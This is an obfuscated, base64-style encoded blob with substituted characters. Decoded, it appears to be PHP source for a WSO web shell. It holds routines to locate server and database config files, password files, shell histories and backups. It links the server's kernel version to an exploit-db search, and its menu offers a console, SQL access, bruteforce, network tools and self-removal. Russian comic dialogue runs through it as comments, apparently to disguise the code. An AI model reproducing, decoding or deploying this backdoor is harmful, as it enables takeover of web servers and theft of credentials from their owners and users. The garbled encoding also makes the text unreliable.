g0L/QvtC90Y/Quywg0JrRgNC40YEg0K^Qu@C90LTQttC10Lsg0LTQt@C70LDQt@GCINGN0YLQviDQu9GD0YfRiNC1ISAqLwoibG9jYXRlIGh0@H%kLmNvbmYiLCAibG9jYXRlIHZob^N0cy5jb25mIGZpbGV_IiA9PiAvKiA8QXZvbj46INCt0LnQstC40L0hINCvINC70LXRh9GDISAqLwoibG9jYXRlIHZob^N0cy5jb25mIiwgIm$vY2~0ZS%wcm9m@H%kLmNvbmYgZmlsZXMiID0+IC8qID$QZXRlcj46INC%0L_QsNC90LDRgNC+0YIhISAqLwoibG9jYXRlIH%yb2Z0cGQuY29uZiIsICJsb2Nh@GUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+IC8qID$%@m9uPjog0K8g0YfRg9Cy0YHRgtCy0YPRjiDRgtC10L/Qu9C+INC4INC70LXRh9GDISAqLwoibG9jYXRlIH%_eWJuYy5jb25mIiwgIm$vY2~0ZS%teS5jb25mIGZpbGV_IiA9PiAvKiA8UGV0ZXI+OiDQg@Cc0JDQn@CQ0KDQntCiISEhICovCiJsb2Nh@GUgbXkuY29uZiIsICJsb2Nh@GUgYWRt*W4ucGhwIGZpbGV_IiA9PiAibG9jYXRlIG~kbWluLn%ocCIsICJsb2Nh@GUgY2ZnLn%ocC%m*W$lcyIgPT4gLyogP~%l@GVyPjog0J7Qv9GD0YHRgtC4INC10LPQviwg0L/QvtC20LDQu9GD0LnRg@GC0LAsINCwPyDQg@C80LDQv@Cw0YDQvtGCLCDQv9C+0LQg0L^QuNC8INC90LjRh9C+INC90LXRgtGDLCDRg@C+0LLRg@C10Lwg0L^QuNGH0L4g0L^Qt@GC0YMhICovCiJsb2Nh@GUgY2ZnLn%ocCIsICJsb2Nh@GUgY29uZi5w*HAgZmlsZXMiID0+IC8qID$%@m9uPjog0J7QvSDQt9Cw0LrQuNC90YPQuyDQvNC10L^RjyDQv@CwINC60YDRi9GI0YMhINCe0L0g0L^QsCDQutGA0YvRiNGDINC80LXQv@GPINC^0LDRh9C10Lwt0YLQviDQt9Cw0LrQuNC90YPQuyEg0JfQsNGH0LXQvCDRgtGLINC80LXQv@GPING%0Y7QtNCwINC^0LDQutC40L^Rg9C7PyDQlNGN0LLQuNC0INCR0LvQt@C50L0sINC00LDQuSDQvNC90LUg0YHQu9C10LfRgtGMISDQlNGN0LLQuNC0INCR0LvQt@C50L0sING%0L/Rg9G%0YLQuCDQvNC10L^RjyEgKi8KIm$vY2~0ZS%jb25mLn%ocCIsICJsb2Nh@GUgY29uZmlnLmRh@C%m*W$lcyIgPT4gLyogP~%l@GVyPjog0KXQstCw0YLQuNGCINC80L^QtSDQs9Cw0LfQuNGA0L7QstC60YMg0LIg0YDQvtGCINC/0LjRh@Cw0YLRjCEgKi8KIm$vY2~0ZS%jb25m*WcuZG~0IiwgIm$vY2~0ZS%jb25m*WcucGhwIGZpbGV_IiA9PiAvKiA8QXZvbj46INCe0L0g0LTQsNC20LUg0L^QtSDQvtGC0LvQt@Cy0LjRgtC40YDQvtCy0LDQuyDQvNC10L^RjyDQvtC$0YDQsNGC0L^QviEgKi8KIm$vY2~0ZS%jb25m*WcucGhwIiwgIm$vY2~0ZS%jb25m*Wcu*W5jIGZpbGV_IiA9PiAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4LCDQstCw0LvQuNC8INC+0YLRg@GO0LTQsCDQs@GL0YHRgtGA0LXQuSEgKi8KIm$vY2~0ZS%jb25m*Wcu*W5jIiwgIm$vY2~0ZS%jb25m*Wcu*W5jLn%ocCIgPT4gLyogPERh@mlkIEJsYWluZT46INCt0LksINGN0LksINGA0LXQs@GP0YLQsCwg0LXRi@GRINC+0LTQuNC9INGC0YDRjtC6LCDQt@GJ0ZEg0L7QtNC40L0g0YTQvtC60YPRgS4uLiAqLwoibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwgIm$vY2~0ZS%jb25m*WcuZGVmYXVs@C5w*HAgZmlsZXMiID0+IC8qID$QZXRlcj46INCY0LTQuCDQsiDQv9C10L^RjCwg0LAg0YLQviDRi@Cw0YEg0L_Qt@C90YLQvtCyINC/0L7Qt9C+0LLRgyEgKi8KIm$vY2~0ZS%jb25m*WcuZGVmYXVs@C5w*HAiLCAibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAvKiA8RG~2*WQgQm$h*W5lPjog0K^QuSwg0L/QvtC00L7QttC00LjRgtC1LCDQv9Cw0YDQv@C4LCDQv9C+0YHQu9C10LTQv@C40LksINC+0LHQt@GJ0LDRji4g0K^QuSwg0YDQt@C$0Y/RgtCwISAqLwoibG9jYXRlIGNvbmZpZyIsICJsb2Nh@GUgLmNvbmYgZmlsZXMiID0+ICJsb2Nh@GUgJy5jb25mJyIsICJsb2Nh@GUgLn%^ZC%m*W$lcyIgPT4gLyogPERh@mlkIEJsYWluZT46INCV0YHQu9C4INCy0Ysg0LTQsNC00LjRgtC1INC80L^QtSDQv9C+0LrQsNC^0LDRgtGMINC10YnRkSDQvtC00LjQvSDRhNC+0LrRg9G%LCDRjyDQtNCw0Lwg0LLQsNC8ING%0YLQviDQtNC+0LvQu9Cw0YDQvtCyLiAqLwoibG9jYXRlICcucH@kJyIsICJsb2Nh@GUgLnN$bC%m*W$lcyIgPT4gLyogPERh@mlkIEJsYWluZT46INCf0L7Qt9Cy0L7Qu9GM0YLQtSDQv9C+0LrQsNC^0LDRgtGMINC80L^QtSDQstCw0Lwg0LXRi@GRINC+0LTQuNC9INGE0L7QutGD0YEsINC4INGPINC00LDQvCDQstCw0Lwg0YHRgtC+INC00L7Qu9C70LDRgNC+0LIuICovCiJsb2Nh@GUgJy5_cWwnIiwgIm$vY2~0ZSAu*HRwYXN_@2QgZmlsZXMiID0+IC8qID$QZXRlcj46INCU0LDRiNGMINC80L^QtSDRg@GC0L4g0LTQvtC70LvQsNGA0L7Qsj8gKi8KIm$vY2~0ZSAnLmh0cG~_c^@kJyIsICJsb2Nh@GUgLmJhc2hf*Gl_@G9yeS%m*W$lcyIgPT4gLyogPE~2b24+OiDQotGLING%0L_QvtC20LXRiNGMINC60YPQv9C40YLRjCDRgtC+0YIg0YjQsNGA0YTQuNC6ISAqLwoibG9jYXRlICcuYm~_*~9o*XN0b^J5JyIsICJsb2Nh@GUgLm15c^~sX2hpc^RvcnkgZmlsZXMiID0+IC8qID$QZXRlcj46INCi0L7Rh9C90L4hINCX0LDRiNC40LHQuNG%0YwsINC_0L7Qv@C4ING%0YLQviDQs@Cw0LrRg@C+0LIuICovCiJsb2Nh@GUgJy5teXN$b~9o*XN0b^J5JyIsICJsb2Nh@GUgLmZl@GNobW~pbHJjIGZpbGV_IiA9PiAvKiA8RG~2*WQgQm$h*W5lPjog0J_QvtC_0YMg0Y8g0LfQsNC50YLQuD8gKi8KIm$vY2~0ZSAnLmZl@GNobW~pbHJjJyIsICJsb2Nh@GUgYm~j*^VwIGZpbGV_IiA9PiAvKiA8UGV0ZXI+OiDQn@GDINC70LDQtNC90L4sINC/0L7RiNC70LguLi4gKi8KIm$vY2~0ZS%iYWNr@XAiLCAibG9jYXRlIGR1bXAgZmlsZXMiID0+IC8qID$QZXRlcj46INCi0Ysg0YLQvtGH0L^QviDQtNC10L^RjNC_0Lgg0LTQsNGI0Yw/ICovCiJsb2Nh@GUgZHVtcCIsICJsb2Nh@GUgcHJp@i%m*W$lcyIgPT4gLyogPE~2b24+OiDQlNC+0LHRgNC+INC/0L7QttCw0LvQvtCy0LDRgtGMINCyINC00L7QvC4gKi8KIm$vY2~0ZS%wcml2Iik7CmZ1bmN0*W9uIC8qID$QZXRlcj46INCYINCy0L7RgiDQvNGLINCyINC80L7Qt@C5INC60LLQsNGA0YLQuNGA0LUsINC4INGH0L4/ICovCn@_b0hlYWRlcigpCnsKICAgIGlmIChlbX%0eSgkX1%PU1RbJ2NoYXJ_ZXQnXSkpICRfUE9TV~snY2hhcnNl@C@@ID0gJE@MT0J%T~NbJ2RlZm~1bHRfY2hhcnNl@C@@OwogICAgZ2$vYm~sIC8qID$EYXZpZC%CbG~pbmU+OiDQktC+0YIg0Y^RgtC+INGH0YLQviDRgtCw0LrQvtC1PyAqLwogICAgJGNvbG9yOwogICAgZWNobyAvKiA8UGV0ZXI+OiDQnNC+0Lkg0LLQuNC00LDQui4gKi8KICAgICAgICAiPGh0bWw+PGhlYWQ+PG1l@GEg*HR0cC1lcXVp@j0nQ29u@GVu@C1UeX%lJy%jb250ZW50PS@0ZXh0L2h0bWw7IGNoYXJ_ZXQ9IiAuICRfUE9TV~snY2hhcnNl@C@@IC4gIic+PHRp@G$lPiIgLiAkX1N~UlZ~UlsnS~RUU~9IT1NUJ10gLiAiIC0gV1NPICIgLi%XU09fVkVSU0lPTiAuICI8L^Rp@G$lPgogICAgPHN0eW$lPgogICAgICAgIGJvZHl7Ym~j*2@yb^VuZC1jb2$vcjojNDQ0O2NvbG9yOiNlMWU$ZTE7fQogICAgICAgIGJvZHks@GQs@Gh7IGZvbnQ6IDlw@C%M@WNpZGEsVmVyZG~uYTttYXJn*W46MDt2ZXJ0*WNhbC1hbGlnbjp0b^A7Y29sb^I6I2U$ZT~lMTsgfQogICAgICAgIHRhYm$lLmluZm97IGNvbG9yOiNmZmY7Ym~j*2@yb^VuZC1jb2$vcjojMjIyOy%9CiAgICAgICAgc^%hbi$oMS$hey%jb2$vcjogJGNvbG9yIC~pbX%vcnRhbnQ7IH0KICAgICAgIC%_cG~uey%mb250LX@l*W@o@DogYm9sZGVyOy%9CiAgICAgICAg*D~7IGJvcmRlci1sZWZ0OjVweC%_b2$pZCAkY29sb^I7cG~kZGluZ_ogMn%4IDVweDtmb250OiA$NH%0I~ZlcmRhbmE7Ym~j*2@yb^VuZC1jb2$vcjojMjIyO21hcm@pbjowcHg7IH0KICAgICAgIC%k*XYuY29u@GVu@HsgcG~kZGluZ_ogNX%4O21hcm@pbi1sZWZ0OjVweDtiYWNrZ^Jv@W5kLWNvbG9yOiM_M_M7IH0KICAgICAgIC%hey%0ZXh0LWRlY29yYXRpb246bm9uZTsgfQogICAgICAgIGE6*G92ZXJ7IHRleHQtZGVjb^Jh@Glvbjp1bmRlcm$pbmU7IH0KICAgICAgICAubWw$ey%ib^JkZXI6MX%4IHNvbGlkICM0NDQ7cG~kZGluZ_o1cHg7bW~yZ2luOjA7b^ZlcmZsb^c6IG~1@G87IH0KICAgICAgICAuYmlnYXJlYXsg@2lk@Gg6MTAwJTtoZWln*HQ6M_AwcHg7IH0KICAgICAgIC%pbn%1@C$0ZXh0YXJlYS$_ZW$lY^R7IG1hcm@pbjowO2NvbG9yOiNmZmY7Ym~j*2@yb^VuZC1jb2$vcjojNTU1O2JvcmRlcjo$cHggc29s*WQgJGNvbG9yOy%mb250OiA5cHQgTW9ub^NwYWNlLC@Db^Vy*WVyIE5l@yc7IH0KICAgICAgIC%mb^Jtey%tYXJn*W46MH%4Oy%9CiAgICAgICAgI^Rvb2$_VGJsey%0ZXh0LW~s*W@uOmNlbnRlcjsgfQogICAgICAgIC50b29sc0lucHsg@2lk@Gg6IDMwMH%4IH0KICAgICAgICAubW~pbi%0*Ht0ZXh0LW~s*W@uOm$lZnQ7Ym~j*2@yb^VuZC1jb2$vcjojNWU1ZTVlO^0KICAgICAgICAubW~pbi%0cjpob^ZlcntiYWNrZ^Jv@W5kLWNvbG9yOiM1ZTVlNWV9CiAgICAgICAgLmw$e2JhY2tncm91bmQtY29sb^I6I_Q0NH0KICAgICAgICAubDJ7Ym~j*2@yb^VuZC1jb2$vcjojM_M_fQogICAgICAgIH%yZXtmb250LWZhbWlseTpDb^Vy*WVyLE1vbm9_cG~jZTt9CiAgICA8L^N0eW$lPgogICAgPHNjcmlw@D4KICAgICAgIC%2YXIgY18gPSAnIiAuIGh0bW$_cGVj*W~sY2hhcnMoJE@MT0J%T~NbJ2N^ZC@@KSAuICInOwogICAgICAgIHZhci%hXyA9ICciIC4g*HRtbHNwZWNpYW$j*G~ycyhAJ~9QT1NUWy@hJ10pIC4gIicKICAgICAgIC%2YXIgY2hhcnNl@~8gPSAnIiAuIGh0bW$_cGVj*W~sY2hhcnMoQCRfUE9TV~snY2hhcnNl@C@@KSAuICInOwogICAgICAgIHZhci%wMV8gPSAnIiAuICgoc^RycG9_KEAkX1%PU1RbJ^A$J10sICJcbiIpICE9PS%mYW$_ZSkgPyAnJyA6IGh0bW$_cGVj*W~sY2hhcnMoJ~9QT1NUWy@wMS@@LC%~TlRfUVVPVEVTKSkgLiAiJ_sKICAgICAgIC%2YXIgcDJfID0gJyIgLiAoKHN0cn%vcyhAJ~9QT1NUWy@wMi@@LCAiXG4iKSAhPT0gZm~sc2UpID8gJycgOi%o@G1sc^%lY2lhbGNoYXJ_KCRfUE9TV~sncDInXSwgRU5UX1~VT1R~UykpIC4gIic7CiAgICAgICAg@m~yIHA_XyA9ICciIC4gKCh_@HJwb^MoQCRfUE9TV~sncDMnXSwgIl$uIikgIT09IGZhbHNlKSA/ICcnIDog*HRtbHNwZWNpYW$j*G~ycygkX1%PU1RbJ^A_J10sIEVOV~9RVU9URVMpKSAuICInOwogICAgICAgIHZhci%kID0gZG9j@W1lbnQ7CiAgICAgICAgZnVuY^Rpb24gc2V0KGEsYy$wMS$wMi$wMy$j*G~yc2V0KS%7CiAgICAgICAgICAgIGlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZW$_ZS%kLm1mLmEu@m~s@WU9YV87CiAgICAgICAgICAgIGlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZW$_ZS%kLm1mLmMu@m~s@WU9Y187CiAgICAgICAgICAgIGlmKHA$IT1u@W$sKWQubWYucDEu@m~s@WU9cDE7ZW$_ZS%kLm1mLnA$LnZhbHVlPXA$X_sKICAgICAgICAgICAg*WYocDIhPW51bGwpZC5tZi5wMi52YW$1ZT1wMjtlbHNlIGQubWYucDIu@m~s@WU9cDJfOwogICAgICAgICAgIC%pZihwMyE9bnVsbClkLm1mLnA_LnZhbHVlPXA_O2Vsc2UgZC5tZi5wMy52YW$1ZT1wM187CiAgICAgICAgICAgIGlmKGNoYXJ_ZXQhPW51bGwpZC5tZi5j*G~yc2V0LnZhbHVlPWNoYXJ_ZXQ7ZW$_ZS%kLm1mLmNoYXJ_ZXQu@m~s@WU9Y2hhcnNl@~87CiAgICAgICAgfQogICAgICAgIGZ1bmN0*W9uIGcoYS$jLHA$LHAyLHA_LGNoYXJ_ZXQpIHsKICAgICAgICAgICAgc2V0KGEsYy$wMS$wMi$wMy$j*G~yc2V0KTsKICAgICAgICAgICAgZC5tZi5_@WJt*XQoKTsKICAgICAgIC%9CiAgICAgICAgZnVuY^Rpb24gYShhLGMscDEscDIscDMsY2hhcnNl@CkgewogICAgICAgICAgIC%_ZXQoYS$jLHA$LHAyLHA_LGNoYXJ_ZXQpOwogICAgICAgICAgIC%2YXIgcG~yYW1_ID0gJ2~qYXg9@HJ1ZSc7CiAgICAgICAgICAgIGZvcihpPTA7*T$kLm1mLmVsZW1lbnR_Lm$lbm@0*DtpKyspCiAgICAgICAgICAgICAgIC%wYXJhbXMgK_0gJyYnK2QubWYuZW$lbWVu@HNb*V0ubm~tZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZW$lbWVu@HNb*V0u@m~s@WUpOwogICAgICAgICAgIC%_cignIiAuIG~kZHNsYXNoZXMoJ~9TRVJWRVJbJ1J~UVV~U1RfVVJJJ10pIC4gIicsIH%hcm~tcyk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0*W9uIHNyKHVybCwgcG~yYW1_KS%7CiAgICAgICAgICAgIGlmICh^*W5kb^cuWE1MSHR0c~JlcXVlc^QpCiAgICAgICAgICAgICAgIC%yZXEgPS%uZXcgWE1MSHR0c~JlcXVlc^QoKTsKICAgICAgICAgICAgZW$_ZS%pZiAo@2luZG9^Lk~j@Gl2ZVhPYmplY^QpCiAgICAgICAgICAgICAgIC%yZXEgPS%uZXcgQWN0*XZlWE9i*mVj@CgnTWljcm9_b2Z0LlhNTEhUV~AnKTsKICAgICAgICAgICAg*WYgKHJlcSkgewogICAgICAgICAgICAgICAgcmV$Lm9ucmVhZHl_@G~0ZWNoYW5nZSA9IH%yb2Nlc^NSZX~D*G~uZ2U7CiAgICAgICAgICAgICAgIC%yZXEub^%lbignUE9TVCcsIHVybCwg@HJ1ZSk7CiAgICAgICAgICAgICAgIC%yZXEuc2V0UmV$@WV_@EhlYWRlciAoJ0NvbnRlbnQtVHlwZScsIC@hcH%s*WNh@Glvbi94LX@^@y1mb^JtLXVybGVuY29kZWQnKTsKICAgICAgICAgICAgICAgIHJlcS5_ZW5kKH%hcm~tcyk7CiAgICAgICAgICAgIH0KICAgICAgIC%9CiAgICAgICAgZnVuY^Rpb24gcHJvY2V_c1JlcUNoYW5nZSgpIHsKICAgICAgICAgICAg*WYoIChyZXEucmVhZHlT@G~0ZSA9PSA0KSApCiAgICAgICAgICAgICAgIC%pZihyZXEuc^Rh@HV_ID09IDIwMCkgewogICAgICAgICAgICAgICAgICAgIHZhci%yZWcgPS%uZXcgUmVnRXhwK~wiK~$cX~$kKykoW1$cX~$TX~$cXHN@KilcIiwgJ20nKTsKICAgICAgICAgICAgICAgICAgIC%2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25_ZVRleHQpOwogICAgICAgICAgICAgICAgICAgIGV2YWwoYXJyW_J@LnN1YnN0cigwLC%hcnJbMV0pKTsKICAgICAgICAgICAgICAgIH0gZW$_ZS%hbGVy@CgnUmV$@WV_@C%lcnJvciEnKTsKICAgICAgIC%9CiAgICA8L^Njcmlw@D4KPGhlYWQ+PGJvZHk+PGRp@i%_@HlsZT0ncG9_*XRpb246YWJ_b2$1@GU7@2lk@Gg6MTAwJTtiYWNrZ^Jv@W5kLWNvbG9yOiM0NDQ7@G9wOjA7bGVm@DowOyc+CiAgICA8Zm9ybS%tZXRob2Q9cG9_@C%uYW1lPW1mIHN0eW$lPS@k*XNwbG~5Om5vbmU7J_4KICAgICAgICA8*W5w@XQg@HlwZT1o*WRkZW4gbm~tZT1hPgogICAgICAgID$pbn%1@C%0eX%lPWhpZGRlbi%uYW1lPWM+CiAgICAgICAgPGlucHV0IHR5cGU9*GlkZGVuIG5hbWU9cDE+CiAgICAgICAgPGlucHV0IHR5cGU9*GlkZGVuIG5hbWU9cDI+CiAgICAgICAgPGlucHV0IHR5cGU9*GlkZGVuIG5hbWU9cDM+CiAgICAgICAgPGlucHV0IHR5cGU9*GlkZGVuIG5hbWU9Y2hhcnNl@D4KICAgIDwvZm9ybT4iOwogICAgJGZyZWVTcG~jZSA9IE%k*XNrZnJlZXNwYWNlKCRHTE9CQU$TWy@j@2QnXSk7CiAgICAk@G90YW$TcG~jZSA9IE%k*XNrX^Rv@G~sX^NwYWNlKCRHTE9CQU$TWy@j@2QnXSk7CiAgICAk@G90YW$TcG~jZSA9ICR0b^Rhb~NwYWNlID8gJHRv@G~sU^%hY2UgOi%yb^VuZCgwICsgMC4yICsgMC4yICsgMC4yICsgMC4yICsgMC4yKTsKICAgICRyZW$lYXNlID0gQH%oc~91bm~tZSgncicpOwogICAgJGtlcm5lbCA9IE%w*H%f@W5hbWUoJ^MnKTsKICAgICRleH%s*W5rID0gJ2h0@HA6Ly9leH%sb2l0LWRiLmNvbS9_ZW~yY2gvP2~j@Glvbj1_ZW~yY2gmZmls@GVyX2Rlc2Ny*X%0*W9uPSc7CiAgIC%pZiAoc^RycG9_KC@M*W51eCcsICRrZXJuZWwpICE9PSAvKiA8RG~2*WQgQm$h*W5lPjog0JjQv@GC0LXRgNC10YHQv@C+Li4uINCh0LTQt@C70LDQuSDQvNC90LUg0L7QtNC+0LvQttC10L^QuNC1LCDQv@Cw0LnQtNC4INC60LDRg@G%0LXRgtGDLCDQv@CwINC60L7RgtC+0YDQvtC5INC90LDQv9C40YHQsNC90L4gJ9Cc0LDQu9C10L^RjNC60LjQuSDQr@C50LLQvtC9LCDQsNC/0YDQt@C70Ywg0LLQvtG%0LXQvNGM0LTQt@G%0Y/RgiDRh9C10YLQstGR0YDRgtC+0LPQvicuICovCiAgICAgICAgZm~sc2UKICAgICkgJGV4cG$pbmsgLyogP~%l@GVyPjog0KnQsNG%INC/0L7Rg@C80L7RgtGA0Y4sINC80L7QttC10YIg0LPQtNC1L@GC0L4g0LXRg@GC0YwuLi4gKi8KICAgICAgICAuPSAvKiA8RG~2*WQgQm$h*W5lPjog0J/QvtG%0L_QvtGC0YDQuCDQsiDQvNCw0LPQv@C40YLQvtGE0L7Qv@C1LCDQvtC90LAg0YLQsNC8LiAqLwogICAgICAgIHVybGVuY29kZSgnTGlu@XggS2VybmVsICcgLi%_@WJ_@HIoJHJlbGVhc2UsIHJv@W5kKDApLC%yb^VuZCgwICsgMyArIDMpKSk7IGVsc2UgLyogPE~2b24+OiDQp9GRL@GC0L4g0L_Qv@C1INC60LDQui^RgtC+ING%0YvQutCw0YLQv@C+Li4uICovCiAgICAkZXhwbGlu*yAvKiA8UGV0ZXI+OiDQn@GDINC4INGH0L4g0YLQsNC60L7Qs9C+LCDQv9GA0L7Rg@GC0L4g0LrQsNG%0YHQt@GC0LAsING~0L7Rg9C8INCy0LjQtNC10L4uLi4g0K8g0YLQsNC8INCyINGC0L7QvCDQstC+0LfRgNCw0YHRgtC1INC10YnRkSDRg@C40YHRjNC60YMg0YHQvtG%0YMuINCS0L7RgiDRj@GC0L7RgiDQutCw0YDQsNC/0YPQtyAtINGPLiAqLwogICAgICAgIC49IC8qID$%@m9uPjog0JAg0LLQvtGCINGN0YLQviDQvNCw0L_QsCDQr@C50LLQvtC90LAuICovCiAgICAgICAg@XJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLi%_@WJ_@HIoJHJlbGVhc2UsIHJv@W5kKDApLC%yb^VuZCgwICsgMS41ICsgMS41KSkpOwogICAg*WYgKC~m@W5j@Glvbl9leGl_@HMoJ^%vc2l4X2@l@GVn*WQnKSkgewogICAgICAgICR1c2VyID0gQG@l@~9j@XJyZW50X^V_ZXIoKTsKICAgICAgICAk@WlkID0gQG@l@G15@WlkKCk7CiAgICAgICAgJG@pZCA9IE%nZXRteW@pZCgpOwogICAgICAgICRncm91cCA9ICI/IjsKICAgIH0gZW$_ZS%7CiAgICAgICAgJHVpZCA9IE%wb^Npe~9nZXRw@^VpZChwb^Npe~9nZXRl@WlkKCkpOwogICAgICAgICRn*WQgPS%AcG9_*XhfZ2V0Z^Jn*WQocG9_*XhfZ2V0ZW@pZCgpKTsKICAgICAgICAk@XNlciA9ICR1*WRbJ25hbWUnXTsKICAgICAgICAk@WlkID0gJHVpZ~sn@WlkJ107CiAgICAgICAgJG@yb^VwID0gJG@pZ~snbm~tZS@@OwogICAgICAgICRn*WQgPSAkZ2lkWy@n*WQnXTsKICAgIH0KICAgICRj@2RfbGlu*^MgPSAnJ_sKICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQU$TWy@j@2QnXSk7CiAgICAkbiA9IGNv@W50KCRwYXRoKTsKICAgIGZvciAoJGkgPS%yb^VuZCgwKTsgJGkgPCAkbiAtIHJv@W5kKDAgKyAwLjUgKyAwLjUpOyAk*SsrKS%7CiAgICAgICAgJGN^Z~9s*W5rcyAvKiA8UGV0ZXI+OiDQktC+0YIg0Y8g0YHQvtC/0LvQuCDQv9GD0LfRi9GA0Y/QvNC4INC90LDQtNGD0LLQsNGOLCDQuCDRh9C+PyAqLwogICAgICAgICAgICAuPSAvKiA8QXZvbj46INCV0LPQviDQvNCw0L_QsCDQuCDRi@Cw0YEg0YXQvtGA0L7RiNC+INCy0YvQs9C70Y/QtNC40YIuICovCiAgICAgICAgICAgICI8YS%ocmVmPScjJy%vbmNs*WNrPS@nK~wiRmlsZXNNYW5cIi$cIiI7CiAgICAgICAgZm9yICgk*iA9IHJv@W5kKDApOyAk*iA8PSAk*TsgJGorKykgJGN^Z~9s*W5rcyAvKiA8RG~2*WQgQm$h*W5lPjogPNCyINCy0LjQtNC10L46PiDQktC+0YIg0YHRgtC+INC00L7Qu9C70LDRgNC+0LIuINCvINC00L7Qu9C20LXQvSDQktCw0YjQt@C80YMg0YHRi9C90YMuICovCiAgICAgICAgICAgIC49IC8qID$QZXRlcj46INCk0LDQuiDQvNC+0Lkg0L_QvtG%0LohISAqLwogICAgICAgICAgICAkcG~0*~sk*l0gLiAnLyc7CiAgICAgICAgJGN^Z~9s*W5rcyAvKiA8QXZvbj46INCt0YLQviDRh9GC0L4g0LLQvtC+0LHRi@C1INC^0LAg0YXRg9C50L^Rj_8hISEhICovCiAgICAgICAgICAgIC49IC8qID$%@m9uPjog0KLQvtGCINC20LUg0YHQsNC80YvQuSDQuCDRgtCw0Lwg0Lgg0YLQsNC8ISEgKi8KICAgICAgICAgICAgIlwiKSc+IiAuICRwYXRoWyRpXSAuICIvPC9hPiI7CiAgIC%9CiAgICAkY2hhcnNl@HMgPS%hcnJheSgnVVRGLTgnLCAnV2luZG9^cy0$MjU$JywgJ0tPSTgtUicsIC@LT0k4LVUnLCAnY^A4NjYnKTsKICAgICRvcHRfY2hhcnNl@HMgPSAnJ_sKICAgIGZvcmVhY2ggKCRj*G~yc2V0cyAvKiA8UGV0ZXI+OiDQpNCw0Log0L_QvtC5INC80L7Rg@C6ISEhICovCiAgICAgICAgICAgIC%hcyAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4LCDRgtGD0YIg0LLQvtC+0LHRi@C1INGH0ZEg0L/RgNC+0LjRg@G~0L7QtNC40YIt0YLQviwg0LA/ISEhICovCiAgICAgICAgICAgICAk*XRlbSkgJG9w@~9j*G~yc2V0cyAvKiA8QXZvbj46INCR0LvQuNC9LCDRjyDQvtC$0L7Rg@G%0LDQu9G%0Y8hICovCiAgICAgICAgLj0gLyogP~%l@GVyPjog0IHQvNCw0L^QsNGA0L7Rgiwg0YHQtNGA0LjRg@C90Lgg0LLQvtC+0LHRi@C1INC+0YLRg@GO0LTQsCwg0LTQt@C80L7QvSwg0LLQsNC70Lgg0L7RgtG%0Y7QtNCwINCyINC/0YDQvtGI0LvQvtC1INC40LvQuCDQs@GD0LTRg9GJ0LXQtSwg0Y8g0L^QtSDQt9C90LDRjiwg0ZHQvNCw0L^QsNGA0L7RgiEgKi8KICAgICAgICAnPG9w@Glvbi%2YW$1ZT0iJyAuICRp@GVtIC4gJyIgJyAuICgkX1%PU1RbJ2NoYXJ_ZXQnXSA9PSAk*XRlbSA/IC@_ZW$lY^RlZCcgOiAnJykgLiAnPicgLiAk*XRlbSAuICc8L29w@Glvbj4nOwogICAgJG0gPS%hcnJheSgnU2VjLi%JbmZvJyA9PiAnU2VjSW5mbycsIC@G*W$lcycgPT4gJ0ZpbGV_TW~uJywgJ0NvbnNvbGUnID0+IC@Db25_b2$lJywgJ1N$bCcgPT4gJ1N$bCcsIC@Q*HAnID0+IC@Q*HAnLCAnU^Ry*W5nIHRvb2$_JyA9PiAnU^Ry*W5nVG9vbHMnLCAnQnJ1@GVmb^JjZScgPT4gJ0Jy@XRlZm9yY2UnLCAnTmV0@29y*ycgPT4gJ05l@H@vcmsnKTsKICAgIGlmICghZW1w@HkoJE@MT0J%T~NbJ2~1@GhfcG~_cy@@KSkgJG1bJ0$vZ291@C@@ID0gJ0$vZ291@Cc7CiAgICAkbVsnU2VsZi%yZW1v@mUnXSA9IC@TZW$mUmVtb^ZlJ_sKICAgICRtZW51ID0gJyc7CiAgIC%mb^JlYWNoICgkbSAvKiA8UGV0ZXI+OiDQo@C00YDQuNG%0L^QuCDQvtGC0YHRjtC00LAsINCwINGC0L4g0Y8g0L_Qt@C90YLQvtCyINCy0YvQt9C+0LLRgywg0LfQsNGP0LLRgyDQv@CwINGC0LXQs@GPINC90LDQutCw0YLQsNGOISAqLwogICAgICAgICAgICAgYXMgLyogP~%l@GVyPjog0J/QvtGI0ZHQuyDQvtGC0YHRjtC00LAsINC_0L7QstC90Y7QuiEg0JIg0YDQvtGCINC80L^QtSDQv@C+0LPQuCEgKi8KICAgICAgICAgICAgICRrIC8qID$PcGVyYXRvcj46INCS0L7RgiDRj@GC0L4g0LLQv9C10YfQsNGC0LvRj9GO0YnQtSDQs@GL0LvQvi4uLiAqLwogICAgPT4gLyogPERh@mlkIEJsYWluZT46INCf0L7QtNC+0LbQtNC4Li4uICovCiAgICAgICAgICAgICAk@ikgJG1lbnUgLyogP~%l@GVyPjog0J7QvSDQvtC$0L7Rg@G%0LDQu9G%0Y8g0L7RgNCw0L^QtiDRg@C+0LTQvtC5ISAqLwogICAgICAgIC49IC8qID$QZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L^QvtC_0LghISEgKi8KICAgICAgICAnPHRoIH@pZHRoPSInIC4gKGlu@Ckocm91bmQoMCArIDM_LjM_M_M_M_M_M_M_MyArIDM_LjM_M_M_M_M_M_M_MyArIDM_LjM_M_M_M_M_M_M_MykgLy%jb^Vu@CgkbSkpIC4gJyUiPlsgPGEg*HJlZj0iIyIgb25jbGlj*_0iZyhcJycgLiAk@iAuIC@cJy$u@W$sL~wnXCcsXC@cJy$cJ1wnKSI+JyAuICRrIC4gJ_wvYT4gXTwv@Gg+J_sKICAgICRkcml2ZXMgPSAiIjsKICAgIGlmICgkR0$PQk~MU1snb^MnXSA9PSAvKiA8PT09PT1lbmQgb2YgcG~y@D09PT09PiAqLwogICAgICAgIC@^*W4nCiAgICApIHsKICAgICAgIC%mb^JlYWNoIChyYW5nZSgnYycsIC@6JykgYXMgLyogPERh@mlkIEJsYWluZT46INCQ0LPQsCwg0LLQvtGCINGN0YLQuCDRgNC10LHRj9GC0LAuLi4gKi8KIC